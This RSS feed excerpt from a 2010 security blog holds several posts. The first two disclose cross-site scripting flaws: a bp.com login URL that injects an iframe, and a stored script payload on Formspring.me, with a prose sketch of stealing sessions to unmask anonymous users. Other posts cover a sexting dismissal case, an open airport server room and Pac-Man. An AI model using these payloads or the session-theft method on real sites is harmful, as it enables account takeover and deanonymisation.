<pre><code>http://energiser.bp.com/login/index.php?lang=%22%3E%3Ciframe%20src=http://www.tampabay.com/multimedi
a/archive/00121/SP_322824_BORC_oilp_121445c.jpg%20width=450%20height=300%20frameborder=0%20scroll=no
%3E%3C/%3E%3C/;document.write%28unescape%28a.source%29%29;{//
</code></pre>

<p><div id="attachment_4071" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/bp_xss1.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/bp_xss1.jpg" alt="" title="bp_xss" width="750" height="707" class="size-full wp-image-4071" /></a><p class="wp-caption-text">iFrame inclusion on a bp.com site.</p></div>
<br /></p>

<h3>Finally</h3>

<p>Is most of this nonsense from a hard core security standpoint? Yes, to an extent. The XSS ought to be corrected, and dual factor authentication on VPN&#8217;s is kind of a must have at this point.</p>

<p>Does BP need a security audit of their perimeter, web properties, online services used, and security policies? Also yes. Maybe schedule it after they plug that gushing oil geyser this August.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/newsweek-reports-zombie-invasion/">Newsweek Reports Zombie Invasion</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/congressional-web-site-defacements-follow-the-state-of-the-union/">Congressional Web Site Defacements Follow the State of the Union</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/umm-techcrunch-defacement-two-in-24-hours/">Umm&#8230;TechCrunch? Defacement Two in 24 Hours</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/techcrunched-techcrunch-the-victim-of-a-defacement/">TechCrunched &#8211; TechCrunch the Victim of a Defacement</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/baidu-com-the-latest-victim-of-iranian-cyberarmy/">Baidu.com the Latest Victim of Iranian CyberArmy</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/going-after-bp/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Formspring.me XSS Vulnerability</title>
		<link>http://praetorianprefect.com/archives/2010/06/formspring-me-xss-vulnerability/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/formspring-me-xss-vulnerability/#comments</comments>
		<pubDate>Fri, 04 Jun 2010 02:46:32 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Cross Site Scripting]]></category>
		<category><![CDATA[Social Networking]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3922</guid>
		<description><![CDATA[Formspring.me, a newly popular social networking site, has a fundamental cross site scripting flaw that allows one logged in user to steal another user’s session, but also may allow users to find out who posted a nasty comment about them.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/formspring.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/formspring.gif" alt="" title="formspring" width="136" height="120" class="alignleft size-full wp-image-3925" /></a></p>

<p>Formspring.me, a newly popular social networking site, has a fundamental cross site scripting flaw that allows one logged in user to steal another user&#8217;s session, but also may allow users to find out who posted a nasty comment about them. A key complaint about the site is that you can not find out the identity of an anonymous user.</p>

<p><i>Update</i>: Kudos to Formspring.me, even though it was hard to initially report the problem, they corrected it in about an hour from opening a post on their technical support forum, a nice turnaround by any standard.</p>

<h3>Formspring.me</h3>

<p>Formspring.me is a six month old social networking question and answer site. The web site has come under scrutiny following a few recent news stories involving incidents with teenagers, the site&#8217;s primary demographic. The first notable incident was where <a href="http://www.whtm.com/news/stories/0210/707982.html">a fight broke out</a> over comments on the site. More notably, however, is the story of Alexis Pilkington, a 17 year old West Islip, NY High School graduate who <a href="http://www.newsday.com/long-island/suffolk/after-teen-s-death-3-800-pledge-web-site-boycott-1.1829354">committed suicide after dozens of insulting comments</a> had been made to her on the site.</p>

<p>From comments on the site, these are not isolated incidents, and its fairly clear Formspring needs to come up with a better model:</p>

<p><i>Is it possible for you to delete an account for harrassment if the posts were anonymously posted? I received 18 threats last night that I followed up with a police report to my local PD. I have the police report number, as of yet I have not deleted my account so that if you needed to access it to see the post you could. Please advise.</i></p>

<p><i>I need to know how to go about finding out who send a message to my daughter&#8217;s account. The message says.. that she would be better off dead.</i></p>

<p><i>I would appreciate it if Formspring will work with our local Santa Barbara Police Department and the Santa Barbara Sheriff Department to find the person that was impersonating my daughter.</i></p>

<p>Such problems have led to various organized boycotts, letters home from school officials, and coverage under the topic of cyber-bullying in a number of news outlets.</p>

<h3>The Big Issue People Have</h3>

<p>One of the primary complaints about the web site is the anonymity of questioners. Hiding behind the veil of anonymity has allowed, mostly teenagers, to make nasty remarks to each other they would probably not make under their own names (although frankly the Internet is a wild place). Largely as a result of this, a good deal of time has been spent trying to figure out a way to determine: &#8220;who said that about me?&#8221;. That is at least according to the articles <a href="http://www.northjersey.com/news/95486479_Anonymous_cyber-taunts_leave_lasting_wounds_on_kids.html">I&#8217;ve been reading</a>. Formspring won&#8217;t help you with anonymous questions, as it states in <a href="http://formspringme.zendesk.com/entries/93852-can-you-tell-me-who-asked-me-an-anonymous-question">their support forums</a></p>

<p>But here&#8217;s an answer to that question, or at least a method: a way to grab another user&#8217;s session only knowing user name because of a web site vulnerability present in the Formspring web site.</p>

<ol>
<li><p>We have two users: Tester21 and Tester25. Since they have such close names, they&#8217;ve decided to follow each other using the site&#8217;s People->Find People and Follow functions.</p></li>
<li><p>Tester 25 goes to www.formspring.me and asks Tester21 a question:
<div id="attachment_3927" class="wp-caption alignnone" style="width: 710px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/formspring_1.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/formspring_1.gif" alt="" title="formspring_1" width="700" height="561" class="size-full wp-image-3927" /></a><p class="wp-caption-text">Ask another user a question.</p></div>
<br /></p></li>
<li>But that&#8217;s kind of boring, so Tester25 asks a better question: </li>
</ol>

<pre><code>&lt;script&gt;alert(document.cookie);&lt;/script&gt;
</code></pre>

<p>4.  Tester21 logs in and sees he has a question:
<div id="attachment_3928" class="wp-caption alignnone" style="width: 636px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/formspring2.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/formspring2.gif" alt="" title="formspring2" width="626" height="409" class="size-full wp-image-3928" /></a><p class="wp-caption-text">Malicious script, dutifully encoded by Formspring.me.</p></div>
<br />
Immediately he see&#8217;s that this isn&#8217;t a question. Formspring has done a good job for him, because rather than allow this malicious script to execute, they have encoded parts of the output as shown:</p>

<pre><code>&lt;a href="#" rel="question"&gt;
&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;&lt;/a&gt;
&lt;span class="askedBy"&gt;asked by &lt;a href="http://www.formspring.me/tester25" rel="profile"&gt;tester25&lt;/a&gt;
</code></pre>

<p>5.  Glad Formspring has protected him from revealing his session cookie by properly encoding output, Tester21 makes a note to drop that loser Tester25 from his Follow list and clicks Home:</p>

<div id="attachment_3929" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/formspring3.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/formspring3.gif" alt="" title="formspring3" width="750" height="595" class="size-full wp-image-3929" /></a><p class="wp-caption-text">The home screen preview executes the Javascript.</p></div>

<h3>What Happened?</h3>

<p>A preview function on the home page shows the user the last pending question they&#8217;ve received. If its the one that is the cross site scripting string, the script executes. In this case its only the classic alert box demonstration, but anything that can be accomplished with Javascript is possible.</p>

<h3>Another Random Issue</h3>

<p>It appears formspring.me actually logs users in as someone else sometimes without any interaction, as evidenced by <a href="http://formspringme.zendesk.com/entries/187720-logging-into-other-peoples-pages">this user complaint</a>:</p>

<p><i>Hi, everytime i want to go to my home page or feeds on my friends answered questions, i keep going to random people&#8217;s homepage or their feeds, anyway i can fix this?</i></p>

<h3>Why is Disclosure this Difficult?</h3>

<p>After numerous attempts to sign up for the Support section of the site so we could notify Formspring of this defect, we finally just posted an issue in their Technical Support forum as the notification. They need to think about adding a screen or e-mail address for reporting security issues, ala Twitter and other sites.</p>

<h3>Finally</h3>

<p>So assuming someone is acting as an anonymous user, but has given more information in their profile (e-mail, etc.) then the person who wants to know who they are could send them a variation of the &#8220;poison question&#8221; above that steals that user&#8217;s session (likely this would involve sending the user&#8217;s cookies to another web site, having a script running there that grabs the cookies and perhaps logs in in as that user and changes the user&#8217;s password which essentially takes over the account). From taking over the account the attacker gains access to any information filled out in the profile (could be nothing if Anonymous uses dummy information and an anonymous e-mail) and can post and answer questions as that user.</p>

<p>Additionally by searching out people making use of the Formspring widget, you don&#8217;t even really need to be a Formspring user yourself to post the XSS string to a Formspring user&#8217;s account.</p>

<p>The problem above is magnified in that many users connect their Formspring accounts to Facebook and Twitter (meaning a person who has taken over the account can then post messages to these other two social networking services).</p>

<p>In terms of actual impact, its unclear that user&#8217;s would have any truly sensitive information available in their profiles, making information disclosure a low risk (assumes the user didn&#8217;t post sensitive information themselves). Birthday and e-mail are probably the only two fields that could be considered user confidential. So the primary issue is session hijacking. Is it a big deal? It probably is not, other social networking sites had similar issues in their first six months of existence, it is just something that should be corrected.</p>

<p>As for Formspring itself, and the issues people are having with anonymous users, this is probably worthy of its own blog post. There are a number of sites that allow anonymous comments to be posted, and the web is famous for snarks and nastiness in online comments. That said, having experienced these problems so publicly, and being a web site that is used primarily by young people, Formspring would be best advised to remove the anonymous question capability to avoid libel, cut down on police investigations, and get itself out of the negative press for a while. Call it the price of being popular.</p>

<p>A special thanks to <a href="http://www.twitter.com/ethicalhack3r">ethicalhack3r</a> for bouncing some ideas around.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/f-secure-xss-on-anti-theft-website/">F-Secure XSS on Anti-Theft Website</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/xss-flaw-on-paypal-com/">XSS Flaw on PayPal.com</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/pentagon-web-pwned/">Pentagon Web Site Vulnerabilities Identified</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/formspring-me-xss-vulnerability/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Thou Shalt Not Send Naked Pictures&#8230;To Anyone Ever</title>
		<link>http://praetorianprefect.com/archives/2010/05/thou-shalt-not-send-naked-pictures-to-anyone-ever/</link>
		<comments>http://praetorianprefect.com/archives/2010/05/thou-shalt-not-send-naked-pictures-to-anyone-ever/#comments</comments>
		<pubDate>Wed, 26 May 2010 22:27:07 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Stay Safe Online]]></category>
		<category><![CDATA[sexting]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3997</guid>
		<description><![CDATA[It's becoming a familiar story, an angry parent of a student reports finding inappropriate images, self taken naked pictures and videos, on that student's cell phone. But this story has an unusual wrinkle: the student is a 20 year-old at the University of Central Florida, the girlfriend of 32 year-old Mandarin High School football coach Jason Robinson.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/MandarinHigh.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/MandarinHigh-150x150.jpg" alt="" title="MandarinHigh" width="150" height="150" class="alignleft size-thumbnail wp-image-3998" /></a></p>

<p>It&#8217;s becoming a familiar story, an angry parent of a student reports finding inappropriate images, self taken naked pictures and videos, on that student&#8217;s cell phone. The images and video were sent to the student by a high school football coach. The mother of the student e-mailed the pictures to the administration of the high school, and the coach was promptly fired in disgrace. But this story has an unusual wrinkle: the student is a 20 year-old at the University of Central Florida, the girlfriend of 32 year-old Mandarin High School football coach Jason Robinson.</p>

<p>Upon finding the pictures, the mother of Jason Robinson&#8217;s college age girlfriend fired the images off to the administration at the High School employing this coach. The administration reacted by terminating Robinson, who being within the first three years of his contract there was essentially the equivalent of an &#8220;at-will&#8221; employee.</p>

<p>The high school principal, Dr. Donna Richardson, fired off the following letter to the coach:</p>

<pre><code>"Effective today you have been reassigned to Bulls Bay for the remainder of this school year. You are 
not to come back onto our campus, and we will make arrangements to get any of your personal 
belongings to you. 

You are also being non-reappointed for the next school year. It is regretful it had to come to this, 
but I believe you understand the situation."

"We hold our teachers to a higher standard. They are in front of our students. They're talking 
with our students. They're teaching our students how to become good characters"
</code></pre>

<p><div id="attachment_4004" class="wp-caption alignleft" style="width: 368px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/05/jasonrobinson.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/05/jasonrobinson.jpg" alt="" title="jasonrobinson" width="358" height="304" class="size-full wp-image-4004" /></a><p class="wp-caption-text">Jason Robinson</p></div>
<br /></p>

<p>So we are left with an &#8216;at will&#8217; employee, who can be dismissed for any reason, being dismissed for showing a lack of sound judgment and a potential violation of a policy (which for whatever reason couldn&#8217;t be located in time to include in the letter). From a legal standpoint, the dismissal may be on solid enough ground.</p>

<p>The incident is problematic on a number of fronts though. As soon as an employing organization begins to pass judgment on the private, non-criminal, non-disallowed by policy, actions of two consenting adults, they open themselves up in an inappropriate role as a moral arbiter over their teachers and staff. The mother&#8217;s actions were largely inappropriate in the absence of a crime or high school policy violation regarding relationships between teachers and staff. There has been no indication yet that this relationship started when the girlfriend was a high school student herself. But since you can&#8217;t control parents, the high school board, a group of people, owed it to all involved to display a cooler head.</p>

<p>Robinson is claiming this incident has ruined his reputation, and is suing the parents of his 20 year old girlfriend for violating his privacy by looking at the material. It certainly does affect his future prospects in working as a high school football coach to be so publicly dismissed.</p>

<p>A sister of the girlfriend does attend high school at Mandarin also, probably another reason this should have been handled much more quietly, as her life must be a joy right now.</p>

<h3>One Wrinkle Though</h3>

<p><div id="attachment_4022" class="wp-caption alignright" style="width: 160px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/05/1274916964-richardson1.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/05/1274916964-richardson1-150x150.jpg" alt="" title="1274916964-richardson" width="150" height="150" class="size-thumbnail wp-image-4022" /></a><p class="wp-caption-text">Dr. Donna Richardson</p></div><br /></p>

<p>There is one awkward little wrinkle to the whole episode which may make the school board right (but which throws into question why they wouldn&#8217;t comment further to defend their position).  There is an allegation that the coach used a school computer to send the images. If that is the case, a policy prohibiting using school equipment to view or send pornography should both be in place and apply (minus the publicity and &#8217;shaming&#8217; e-mail).</p>

<p>So why isn&#8217;t that being included in the school&#8217;s response to the case? Either because it isn&#8217;t true, or because they haven&#8217;t conducted a responsible forensics investigation to back up the allegation. To fire someone so publicly without having this was a mistake. Administrative leave, strengthening the case via proper computer forensics, and then having a full story to go forward with is the correct way to go, not an e-mail sent in haste from the principle&#8217;s computer.</p>

<p>According to most followup commentary, the &#8220;sent from a school computer&#8221; piece likely is not true anyway.</p>

<h3>Sexting</h3>

<p>Basically the act of sending a sexually explicit photograph or message with mobile phones as the communication device. The name derives from a combination (or portmanteau for those who want to learn a new word) of the words sex and texting.</p>

<p>The first well known reference to the word is a 2005 article in the British Sunday Telegraph Magazine. In a survey conducted by Cosmogirl, 20% of teens and 33% of young adults indicated they had sent nude or semi-nude (big difference) pictures of themselves via electronic communications. Some 39% of teens and 59% of young adults had said they sent sexually explicit messages.</p>

<p>The Cosmogirl results have been thrown into question however (surveys always are); at least one sociologist, C.J. Pascoe, an assistant professor at Colorado College, completed a three year study interviewing 80 teenagers and found no evidence of truly explicit text or photographs sent via mobile devices.</p>

<p>From personal experience, students are certainly sending and posting information that their parents and other adults would note is probably a mistake to preserve electronically and share. Campaigns, such as the James Lipton campaign we posted about earlier, <a href="http://praetorianprefect.com/archives/2009/12/james-lipton-says-dont-tweet-your-junk/">Don&#8217;t Tweet Your Junk</a>, are largely a reaction to this problem.</p>

<p>So there is an issue here that should not be ignored, one that naturally followed the increasing capabilities of cell phones, the decreasing costs, and the result that more young people than ever have sophisticated access to communications technology (something their parents did not by and large have). That said, hyping the numbers by suggesting that 2 out of every 10 teens are sending naked pictures of themselves via their phones is unnecessarily alarmist.</p>

<p>The other larger problem of overreaction is overzealous prosecution of teenagers under child pornography laws which were certainly not codified to cover teenagers e-mailing photographs to each other. Further, the classification of said teenagers or young adults as sex offenders serves only to weaken the notification requirements under Meghan&#8217;s Law, designed to protect youth against real sex predators.</p>

<h3>Finally</h3>

<p>I don&#8217;t understand the proclivity in the number of people sending naked pictures of their junk to other people. Maybe if doing so will result in Paris Hilton like publicity, but for most of us photographing our nether regions should be grounds for having our heads examined. That said, what we have here is two consenting adults sending content between each other. It was no more the high school&#8217;s business than it was that of the mother, unless a school computer was used.</p>

<p>One could make the loose case that the Mother of a 20 year-old might have the moral authority to snoop to try to keep her daughter safe (we don&#8217;t really think so at 20, but we could see someone saying that).  But sending the pictures on to the high school administration rather than handing this as a private family member shows terrible judgment on the mother&#8217;s part. But parents can&#8217;t be controlled, the school had to realize a story as salacious as this would spawn media coverage, and should have had their act in order before reacting. If they have nothing, no evidence that this relationship started when the girl was underage or in high school, no use of a school computer via evidence gathered in a forensically sound manner, then this school board has made a mistake.</p>

<p>Or as Principal Richardson defined the school&#8217;s mission: &#8220;They&#8217;re teaching our students how to become good characters&#8221;. They&#8217;re acting like characters all right, so far anyway.</p>

<h3>Sources:</h3>

<ul>
<li><a href="http://outofbounds.nbcsports.com/2010/05/coach-fired-for-cell-pics.html.php">High school coach fired for sexting 20-year-old college girlfriend. Wait, what?</a></li>
<li><a href="http://www.news4jax.com/news/23651635/detail.html">Mandarin Football Coach Under Fire</a></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/james-lipton-says-dont-tweet-your-junk/">James Lipton says &#8220;Don&#8217;t tweet your junk&#8221;</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/05/thou-shalt-not-send-naked-pictures-to-anyone-ever/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>For Access Call, or Walk Right In</title>
		<link>http://praetorianprefect.com/archives/2010/05/for-access-call-or-walk-right-in/</link>
		<comments>http://praetorianprefect.com/archives/2010/05/for-access-call-or-walk-right-in/#comments</comments>
		<pubDate>Fri, 21 May 2010 20:21:17 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[funny]]></category>
		<category><![CDATA[airport]]></category>
		<category><![CDATA[machine room]]></category>
		<category><![CDATA[Physical Security]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3873</guid>
		<description><![CDATA[Presumably the door sign should read "For Access Call...or Just Walk In".]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/05/600px-Do_Not_Enter_sign.svg_.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/05/600px-Do_Not_Enter_sign.svg_-150x150.png" alt="" title="600px-Do_Not_Enter_sign.svg" width="150" height="150" class="alignleft size-thumbnail wp-image-3874" /></a></p>

<p>Courtesy of security rock star Rik Ferguson comes the below picture of a data room (server room) at the airport in Johannesburg (O.R. Tambo International Airport). Presumably the door sign should read &#8220;For Access Call&#8230;or Just Walk In&#8221;.</p>

<p>On a more serious note, in this age of discomfort surrounding airport security, why does Africa&#8217;s largest airport have a door sign viewable from a public area that clearly labels where to find sensitive equipment? Wait, why is the data room accessible from a public area at all?  These are questions for airport officials I guess.</p>

<p>They have been notified.</p>

<p><div id="attachment_3875" class="wp-caption aligncenter" style="width: 490px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/05/103737894.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/05/103737894.jpg" alt="Open Door at the Data Room in the airport at Johannesburg, South Africa" title="103737894" width="480" height="640" class="size-full wp-image-3875" /></a><p class="wp-caption-text">Open Door at the Data Room in the airport at Johannesburg, South Africa.</p></div>
<br /></p>

<p>Remember: self closing doors, man traps, &#8220;keep door closed&#8221; signs, and caning server administrators who leave doors open are effective deterrents for this kind of behavior.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/05/happy-30th-birthday-pac-man-google-style/">Happy 30th Birthday Pac-Man, Google Style</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/best-information-security-commercial-evah/">Best Information Security Commercial Evah&#8230;</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/04/bo-dietl-lost-his-guns/">Bo Dietl Lost His Guns</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/05/for-access-call-or-walk-right-in/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Happy 30th Birthday Pac-Man, Google Style</title>
		<link>http://praetorianprefect.com/archives/2010/05/happy-30th-birthday-pac-man-google-style/</link>
		<comments>http://praetorianprefect.com/archives/2010/05/happy-30th-birthday-pac-man-google-style/#comments</comments>
		<pubDate>Fri, 21 May 2010 17:59:25 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[funny]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[video games]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3829</guid>
		<description><![CDATA[Hat's off to Google for unveiling perhaps the greatest tribute today to the 30th anniversary of the iconic video game Pac-Man.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/05/pacman.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/05/pacman.jpg" alt="" title="pacman" width="75" height="75" class="alignleft size-full wp-image-3830" /></a>
<br /></p>

<p>Hat&#8217;s off <a href="http://googleblog.blogspot.com/2010/05/celebrating-pac-mans-30th-birthday.html">to Google</a> for unveiling perhaps the greatest tribute today to the 30th anniversary of the iconic video game Pac-Man. Google revealed its first &#8220;doodle&#8221; or temporary logo change back in 1998, with the first animated logo appearing on Newton&#8217;s birthday earlier this year. At this rate of increasing complexity, the Google logo should be sentient by 2012.</p>

<p>For the birthdays of one of the most successful video games of all time, Google reveals perhaps its most complex logo of all time, a full featured playable version of the game for the next 48 hours:</p>

<div id="attachment_3835" class="wp-caption alignnone" style="width: 564px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/05/pacman10-hp.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/05/pacman10-hp.png" alt="Go to google.com, and click the logo or the Insert Coin button." title="pacman10-hp" width="554" height="186" class="size-full wp-image-3835" /></a><p class="wp-caption-text">Go to google.com, and click the logo or the Insert Coin button.</p></div>
<br /></p>

<p>Hit &#8220;Insert Coin&#8221; twice and Mrs. Pac-Man will show up too.</p>

<h3>Pac-Man</h3>

<p><div id="attachment_3832" class="wp-caption alignright" style="width: 250px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/05/amd_pacman.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/05/amd_pacman.jpg" alt="The original 1980 Pac-Man." title="Krazy! Exhibition" width="240" height="338" class="size-full wp-image-3832" /></a><p class="wp-caption-text">The original 1980 version of Pac-Man.</p></div>
<br /></p>

<p>Pac-Man was first released on May 22nd, 1980, thirty years ago today, by Namco in Japan. According to Guinness, Pac-Man is the most successful coin-operated video game of all time. It sold more than 100,000 units in 1980 and kids pumped more than $1 billion dollars in quarters into the arcade game in its first fifteen months. It was played more then 10 billion times in the first twenty years from its release.</p>

<h3>End Game</h3>

<p><div id="attachment_3833" class="wp-caption alignleft" style="width: 234px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/05/Split_Screen_in_Pac_Man.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2010/05/Split_Screen_in_Pac_Man.gif" alt="At level 256, things get messy." title="Split_Screen_in_Pac_Man" width="224" height="288" class="size-full wp-image-3833" /></a><p class="wp-caption-text">At level 256, things get messy.</p></div>
<br /></p>

<p>Due to a programming glitch the game ends at level 256, although that&#8217;s not much of an issue because few in history have ever gotten a perfect score. Billy Mitchell played the first verified perfect game in 1999. In 2009 David Race became the sixth and currently last person known to achieve a perfect score.</p>

<p>Notice we said &#8216;verified perfect game&#8217;? That&#8217;s because in 1982 an 8 year old named Jeffrey Yee allegedly received a congratulatory letter from then President Ronald Reagan congratulating him for the record score of 6,131,940 points. There&#8217;s a problem though, that score would only be possible by passing level 256, the famous impassable split-screen bug shown at left.</p>

<h3>Pizza &amp; Puck-Man</h3>

<p>Toru Iwatani was the primary developer of the game in 1979, and has related the apocryphal story that the main character was designed after looking at a pizza that was missing a slice. In reality the character is a rounding and simplification of the Japanese character for kuchi, or mouth. The original name, pronounced pakku-man, is a take off of the Japanese phrase paku-paku taberu where the words paku-paku describe the sound of a mouth eating.</p>

<p>The game was released under the name Puck-Man, but modified for the game&#8217;s North American release to Pac-Man as it was feared that arcade machines would be vandalized by modifying the &#8216;P&#8217; to an &#8216;F&#8217;.</p>

<h3>Those Ghosts</h3>

<p><i>&#8220;Google doodler Ryan Germick and I made sure to include Pac-Man&#8217;s original game logic, graphics and sounds, bring back ghosts&#8217; individual personalities, and even recreate original bugs from this 1980&#8217;s masterpiece,&#8221;</i> <br />- Marcin Wichary, Usability, Google</p>

<p><div id="attachment_3856" class="wp-caption alignleft" style="width: 234px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/05/Pacman_origghosts.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/05/Pacman_origghosts.png" alt="" title="Pacman_origghosts" width="224" height="288" class="size-full wp-image-3856" /></a><p class="wp-caption-text">Original Monster Names.</p></div>

<p>Blinky, Pinky, Inky, and Clyde are the four ghost monsters, the antagonists of the game. Each has its own personality derived from movement patterns, as derivable from both past efforts to reverse engineer the game as well as the Japanese translations of their original names:</p>

<table>
<thead>
<tr>
  <th>Name:</th>
  <th>Color:</th>
  <th>Translation:</th>
</tr>
</thead>
<tbody>
<tr>
  <td>Blinky</td>
  <td>Red</td>
  <td>Chaser</td>
</tr>
<tr>
  <td>Pinky</td>
  <td>Pink</td>
  <td>Ambusher</td>
</tr>
<tr>
  <td>Inky</td>
  <td>Cyan</td>
  <td>Fickle</td>
</tr>
<tr>
  <td>Clyde</td>
  <td>Orange</td>
  <td>Stupid</td>
</tr>
</tbody>
</table>

<h3>Finally</h3>

<p>You can go play Pac-Man a few blocks from Praetorian&#8217;s main office down at the Chinatown Fair Video Arcade on Mott Street.</p>

<p>With that we leave you with the 80&#8217;s tribute song <a href="http://www.youtube.com/watch?v=0-MONIvP6kI">Pac-Man Fever</a> by Buckner and Garcia in honor of the day. Enjoy.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/05/for-access-call-or-walk-right-in/">For Access Call, or Walk Right In</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/best-information-security-commercial-evah/">Best Information Security Commercial Evah&#8230;</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/04/bo-dietl-lost-his-guns/">Bo Dietl Lost His Guns</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/05/happy-30th-birthday-pac-man-google-style/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Best Information Security Commercial Evah&#8230;</title>
		<link>http://praetorianprefect.com/archives/2010/05/best-information-security-commercial-evah/</link>
		<comments>http://praetorianprefect.com/archives/2010/05/best-information-security-commercial-evah/#comments</comments>
		<pubDate>Fri, 14 May 2010 21:14:27 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[funny]]></category>
		<category><![CDATA[charlatans]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3886</guid>
		<description><![CDATA[

Say what you will about LIGATT security, the publicly traded (around 0.0004) Georgia company headed by self styled security expert and convicted felon (federal conspiracy and wire fraud) Gregory Evans: they are responsible for what might be the greatest information security commercial ever created.

As you can see, the protagonist is down on his luck, but [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/05/snake-oil-clip1.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/05/snake-oil-clip1-150x150.jpg" alt="" title="snake-oil-clip1" width="75" height="75" class="alignleft size-thumbnail wp-image-3890" /></a></p>

<p>Say what you will about LIGATT security, the publicly traded (around 0.0004) Georgia company headed by self styled security expert and convicted felon (federal conspiracy and wire fraud) Gregory Evans: they are responsible for what might be the greatest information security commercial ever created.</p>

<p>As you can see, the protagonist is down on his luck, but he has a plan to change that. It starts by sitting outside your house with a laptop while you sleep, and attacking your wireless&#8230;well, just watch:
<br /></p>

<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/Wy9LELlwbZs&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/Wy9LELlwbZs&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object>
<br /></p>

<p>At one point its unclear whether he&#8217;s going to crack a WEP key or someone&#8217;s head with the way he&#8217;s holding that laptop.</p>

<p>And where did that laptop come from in the driveway anyway?</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/05/for-access-call-or-walk-right-in/">For Access Call, or Walk Right In</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/happy-30th-birthday-pac-man-google-style/">Happy 30th Birthday Pac-Man, Google Style</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/04/bo-dietl-lost-his-guns/">Bo Dietl Lost His Guns</a></li>
</ul><br />
